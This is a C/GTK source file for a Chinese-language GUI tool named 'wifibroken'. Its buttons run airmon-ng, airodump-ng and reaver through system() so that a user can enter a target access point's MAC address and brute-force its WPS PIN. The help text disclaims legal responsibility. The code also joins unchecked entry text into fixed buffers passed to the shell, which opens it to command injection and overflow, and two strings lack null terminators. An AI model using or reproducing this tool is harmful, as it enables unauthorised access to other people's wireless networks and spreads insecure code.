#include <gtk/gtk.h>
#include <stdio.h>
#include <glib.h>
#include <string.h> 

static GtkWidget* entry1;
static GtkWidget* entry3;//输入框  
static GtkWidget* entry7;

void button_click(GtkWidget *widget,GtkWindow *parent)  
{  
    GtkWidget *dialog;  
    GtkWidget *label;  
    GtkWidget *image;  
    GtkWidget *hbox;  
  
    /*GtkWidget * gtk_dialog_new_with_buttons( 
     *           const gchar *title,对话框标题 
     *           GtkWindow *parent,对话框父窗口 
     *           GtkDialogFlags flags, 
     *           const gchar *first_button_text,动作区域按钮列表 
     *           ...); 
     *           falgs:GTK_DIALOG_MODAL:对话框始终保持在父窗口的上部，直到关闭，防止父窗口交互 
     *                 GTK_DIALOG_DESTROY_WITH_PARENT:父窗口销毁，对话框也销毁 
     *                 GTK_DIALOG_NO_SEPARATOR:不显示分割线 
     * 
     * */  
#ifndef SCHEMALESS_WINDOW  
    dialog = gtk_dialog_new_with_buttons("帮助",parent,GTK_DIALOG_MODAL,GTK_STOCK_OK,GTK_RESPONSE_OK,NULL);  
#else  
    dialog = gtk_dialog_new_with_buttons("帮助",parent,GTK_DIALOG_DESTROY_WITH_PARENT,GTK_STOCK_OK,GTK_RESPONSE_OK,NULL);  
#endif  
    /*设置分割线是否隐藏：FALSE：隐藏。*/  
    gtk_dialog_set_has_separator(GTK_DIALOG(dialog),FALSE);  
    label = gtk_label_new("使用本软件前--须知：\n需要安装libpcap、reaver、aircrack-ng、gtk图形环境、拥有root权限\n软件使用说明：\n\n1.本软件为终端复制软件，为简化终端操作设计。\n2.wifi破解成功率高低与本软件无关。\n3.本软件运行结果在终端中显示。\n4.破解时常取决于wifi信号强弱、wifi性能、运气和硬件！\n5.本软件不负法律责任！\n                       软件版本 v 3.0");  
  
    /*GtkWidget * gtk_image_new_from_stock(const gchar *stock_id, 
     *            GtklconSize size) 
     * 创建一个预制的Gtkimage构件，当载入一个图片时，还需要指定图片的 
     *大小，如果图片没有找到，GTK会自动寻找一个自制的图标 
     * size :参数 GTK_ICON_SIZE_INVALID：未指定大小 
     *            GTK_ICON_SIZE_MENU : 16X16像素 
     *            GTK_ICON_SIZE_SMALL_TOOLBAR: 18X18像素 
     *            GTK_ICON_SIZE_LARGE_TOOLBAR: 24X24像素 
     *            GTK_ICON_SIZE_BUTTON: 24X24像素 
     *            GTK_ICON_SIZE_DND: 32X32像素 
     *            GTK_ICON_SIZE_DIALOG: 48X48像素 
     *还有另外两个加载图片的函数 
     *GtkWidget*gtk_image_new_from_file(const gchar *filename) 
     *GtkWidget *gtk_image_new_from_pixbuf(GdkPixbuf *pixbuf) 
     * */  
    image = gtk_image_new_from_stock(GTK_STOCK_DIALOG_INFO,GTK_ICON_SIZE_DIALOG);  
      
    hbox = gtk_hbox_new(FALSE,5);  
    gtk_container_set_border_width(GTK_CONTAINER(hbox),10);  
    gtk_box_pack_start_defaults(GTK_BOX(hbox),image);  
    gtk_box_pack_start_defaults(GTK_BOX(hbox),label);  
    gtk_box_pack_start_defaults(GTK_BOX(GTK_DIALOG(dialog)->vbox),hbox);  
    gtk_widget_show_all(dialog);  
  
#ifndef SCHEMALESS_WINDOW  
    /*显示对话框*/  
    gtk_dialog_run(GTK_DIALOG(dialog));  
    gtk_widget_destroy(dialog);  
#else  
    g_signal_connect(G_OBJECT(dialog),"response",G_CALLBACK(gtk_widget_destroy),NULL);  
#endif  
  
}   

void on_button_clicked(GtkWidget* button,gpointer data, char*b,char*c,char*a,char*d,char*f)
{
    if((int)data == 1){  
        gtk_entry_set_text(GTK_ENTRY(entry1),"");  
    } else if ((int)data == 2){  
        const gchar* card = gtk_entry_get_text(GTK_ENTRY(entry7)); 
        char d[50]= "airmon-ng start ";
        char f[80]; 
        strcpy(f,d); 
        strcat(f,card);   //连接两个字符串，连接后的字符串存放在a中，数组a中有足够空间
        system(f); 
    } else if((int)data == 3){  
        //改变文本空的可编辑状态  
        gtk_editable_set_editable(GTK_EDITABLE(entry1),GTK_TOGGLE_BUTTON(button)->active);  
    } else if ((int)data == 4){    
        system("airmon-ng stop mon0");
    
    } else if ((int)data == 5){    
        system("airodump-ng mon0");
   
    } else if ((int)data == 6){    
        
        const gchar* mac = gtk_entry_get_text(GTK_ENTRY(entry1));
        char b[50]="reaver -i mon0 -b ";
        char c[4]=" -vv";
        char a[80];
        strcpy(a,b);
        strcat(a,mac);  
        strcat(a,c);      //连接两个字符串，连接后的字符串存放在a中，数组a中有足够空间
        system(a); 
    } else if ((int)data == 7){    
        //reaver -i mon0 -b AP‘s Mac -p pin
        const gchar* mac = gtk_entry_get_text(GTK_ENTRY(entry1));
        const gchar* pin = gtk_entry_get_text(GTK_ENTRY(entry3));
        char b[50]="reaver -i mon0 -b ";
        char c[4]=" -p ";
        char a[80];
        strcpy(a,b);
        strcat(a,mac);  
        strcat(a,c);  
        strcat(a,pin);    //连接两个字符串，连接后的字符串存放在a中，数组a中有足够空间
        system(a); 
        
    }else if ((int)data == 8){    
        system("ifconfig"); 
        
    }
}

GdkPixbuf *create_pixbuf(const gchar* filename)  
{  
    GdkPixbuf *pixbuf;  
    GError *error = NULL;  
    pixbuf = gdk_pixbuf_new_from_file(filename, &error);  
    if(!pixbuf) {  
        fprintf(stderr, "%s\n", error->message);  
        g_error_free(error);  
    }  
    return pixbuf;  
}  

int main( int argc,char *argv[] )
{
    GtkWidget *window;
    GtkWidget *button;

    GtkWidget* box;  
    GtkWidget* box1;  
    GtkWidget* box2;  
    GtkWidget* box3; 
    GtkWidget* box4;
    GtkWidget* box5;
    GtkWidget* box6;
    GtkWidget* box7;
    GtkWidget* box8;
    GtkWidget* label1;  
    GtkWidget* label2; 
    GtkWidget* label3;
    GtkWidget* label7;
    GtkWidget* sep;

    GtkWidget *label4;  
    GtkWidget *label5;  
    GtkWidget *label6;    
    GtkWidget *frame1;    
    GtkWidget *frame2;    
    GtkWidget *frame3;    
    GtkWidget *frame4;      
    gchar *title ;  
    gtk_init (&argc, &argv);//初始化

    window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
    //连接信号"delete_event",使得窗口关闭时发生  
    g_signal_connect(G_OBJECT(window),"delete_event",G_CALLBACK(gtk_main_quit),NULL);
    gtk_window_set_title(GTK_WINDOW(window),"wifibroken");
    /*
     * 设置窗口在显示器中的位置为居中。
     *   GTK_WIN_POS_NONE            ：不固定
     *   GTK_WIN_POS_CENTER          : 居中
     *   GTK_WIN_POS_MOUSE           : 出现在鼠标位置
     *   GTK_WIN_POS_CENTER_ALWAYS   : 窗口改变大小的时候仍然居中
    */
    gtk_window_set_position(GTK_WINDOW(window),GTK_WIN_POS_CENTER);//窗口出现位置
    gtk_window_set_default_size(GTK_WINDOW(window),600,420);//窗口大小
    gtk_container_set_border_width(GTK_CONTAINER(window),20);      //设定容器边框的宽度 
    gtk_window_set_icon(GTK_WINDOW(window), create_pixbuf("wifibroken.png")); // 图标

    box = gtk_vbox_new(FALSE,0);  
    gtk_container_add(GTK_CONTAINER(window),box);
//设置容器
    
    box4 = gtk_hbox_new(FALSE,0);  
    gtk_box_pack_start(GTK_BOX(box),box4,FALSE,FALSE,5);
    box7 = gtk_hbox_new(FALSE,0);  
    gtk_box_pack_start(GTK_BOX(box),box7,FALSE,FALSE,5);  
    box6 = gtk_hbox_new(FALSE,0);  
    gtk_box_pack_start(GTK_BOX(box),box6,FALSE,FALSE,5);
    box1 = gtk_hbox_new(FALSE,0);  
    gtk_box_pack_start(GTK_BOX(box),box1,FALSE,FALSE,5);
    box5 = gtk_hbox_new(FALSE,0);  
    gtk_box_pack_start(GTK_BOX(box),box5,FALSE,FALSE,5);   
    box2 = gtk_hbox_new(FALSE,0);  
    gtk_box_pack_start(GTK_BOX(box),box2,FALSE,FALSE,5);  
    sep = gtk_hseparator_new();//分割线  
    gtk_box_pack_start(GTK_BOX(box),sep,TRUE,TRUE,5);  
    box3 = gtk_hbox_new(FALSE,0);  
    gtk_box_pack_start(GTK_BOX(box),box3,TRUE,TRUE,5);
    box8 = gtk_hbox_new(FALSE,0);  
    gtk_box_pack_start(GTK_BOX(box),box8,FALSE,FALSE,5);

    frame2 = gtk_frame_new("作者");  
    label6 = gtk_label_new("designed by 白尚林\ncopy right@b309");   
    gtk_container_add(GTK_CONTAINER(frame2),label6);  
    gtk_label_set_justify(GTK_LABEL(label6),GTK_JUSTIFY_RIGHT);  
    //设置下划线  
    gtk_label_set_pattern(GTK_LABEL(label6),"__ __   __  ");  
    gtk_box_pack_start(GTK_BOX(box),frame2,FALSE,FALSE,5);
    
    frame3 = gtk_frame_new("说明");  
    label3 = gtk_label_new(NULL);  
    //标记语言形式  
    title = "<span foreground=\"red\"><big><i>×××××使用时应配合终端使用******\n1.打开监听模式2.搜索可破解wifi3.开始破解----耐心等待终端破解结果</i></big></span>";  
    gtk_container_add(GTK_CONTAINER(frame3),label3);  
    gtk_label_set_markup(GTK_LABEL(label3),title);  
    gtk_box_pack_start(GTK_BOX(box4),frame3,FALSE,FALSE,5); 
     

    label1 = gtk_label_new("输入需要破解的wifi的MAC地址：");  
    entry1 = gtk_entry_new();  
    gtk_box_pack_start(GTK_BOX(box1),label1,FALSE,FALSE,5);  
    gtk_box_pack_start(GTK_BOX(box1),entry1,FALSE,FALSE,5);  
  
    /*label2 = gtk_label_new("1.打开监听模式2.搜索可破解wifi3.开始破解----耐心等待终端破解结果");  
    gtk_box_pack_start(GTK_BOX(box4),label2,FALSE,FALSE,5);*/

    label3 = gtk_label_new("输入  需要破解的wifi的pin码：");  
    entry3 = gtk_entry_new();  
    gtk_box_pack_start(GTK_BOX(box5),label3,FALSE,FALSE,5);  
    gtk_box_pack_start(GTK_BOX(box5),entry3,FALSE,FALSE,5);

    label7 = gtk_label_new("输入网卡代号：");  
    entry7 = gtk_entry_new();  
    gtk_box_pack_start(GTK_BOX(box7),label7,FALSE,FALSE,5);  
    gtk_box_pack_start(GTK_BOX(box7),entry7,FALSE,FALSE,5);

     /*创建按钮*/
    button = gtk_check_button_new_with_label("可编辑");  
    g_signal_connect(G_OBJECT(button),"clicked",G_CALLBACK(on_button_clicked),(gpointer)3);  
    gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(button),TRUE);  
    gtk_box_pack_start(GTK_BOX(box1),button,FALSE,TRUE,10);  
    gtk_widget_show(button);  
  
    button = gtk_button_new_with_label("清空");  
    g_signal_connect(G_OBJECT(button),"clicked",G_CALLBACK(on_button_clicked),(gpointer)1);  
    gtk_box_pack_start(GTK_BOX(box1),button,FALSE,TRUE,10);  
    gtk_widget_show(button);  
  
    button = gtk_button_new_with_label("开启无线网卡监听模式");  
    g_signal_connect(G_OBJECT(button),"clicked",G_CALLBACK(on_button_clicked),(gpointer)2);   
    gtk_box_pack_start(GTK_BOX(box6),button,FALSE,TRUE,5);  
    gtk_widget_show(button);

    button = gtk_button_new_with_label("关闭无线网卡监听模式");  
    g_signal_connect(G_OBJECT(button),"clicked",G_CALLBACK(on_button_clicked),(gpointer)4);    
    gtk_box_pack_start(GTK_BOX(box6),button,FALSE,TRUE,5);  
    gtk_widget_show(button);

    label2 = gtk_label_new("--------------------------------------------------------------------");  
    gtk_box_pack_start(GTK_BOX(box3),label2,FALSE,FALSE,5);

    button = gtk_button_new_with_label("搜索可破解wifi");  
    g_signal_connect(G_OBJECT(button),"clicked",G_CALLBACK(on_button_clicked),(gpointer)5);    
    gtk_box_pack_start(GTK_BOX(box3),button,FALSE,TRUE,5);  
    gtk_widget_show(button);

    button = gtk_button_new_with_label("开始破解");  
    g_signal_connect(G_OBJECT(button),"clicked",G_CALLBACK(on_button_clicked),(gpointer)6);    
    gtk_box_pack_start(GTK_BOX(box3),button,FALSE,TRUE,5);  
    gtk_widget_show(button);

    button = gtk_button_new_with_label("已知pin码，直接破解");  
    g_signal_connect(G_OBJECT(button),"clicked",G_CALLBACK(on_button_clicked),(gpointer)7);    
    gtk_box_pack_start(GTK_BOX(box5),button,FALSE,TRUE,5);  
    gtk_widget_show(button);
   
    button = gtk_button_new_with_label("点我查看网卡型号");  
    g_signal_connect(G_OBJECT(button),"clicked",G_CALLBACK(on_button_clicked),(gpointer)8);    
    gtk_box_pack_start(GTK_BOX(box7),button,FALSE,TRUE,5);  
    gtk_widget_show(button);
    
    label5 = gtk_label_new("                             ");  
    gtk_box_pack_start(GTK_BOX(box6),label5,FALSE,FALSE,5);

    button = gtk_button_new_with_mnemonic("使用帮助");  
    gtk_container_add(GTK_CONTAINER(window),button);  
    g_signal_connect(G_OBJECT(button),"clicked",G_CALLBACK(button_click),(gpointer)window);  
    gtk_box_pack_start(GTK_BOX(box6),button,FALSE,TRUE,5);
    gtk_widget_show(button); 

    //gtk_signal_connect (GTK_OBJECT (window), "destroy",GTK_SIGNAL_FUNC (closew), NULL);
    
    gtk_widget_show_all(window);

    gtk_main ();

    return 0;
}

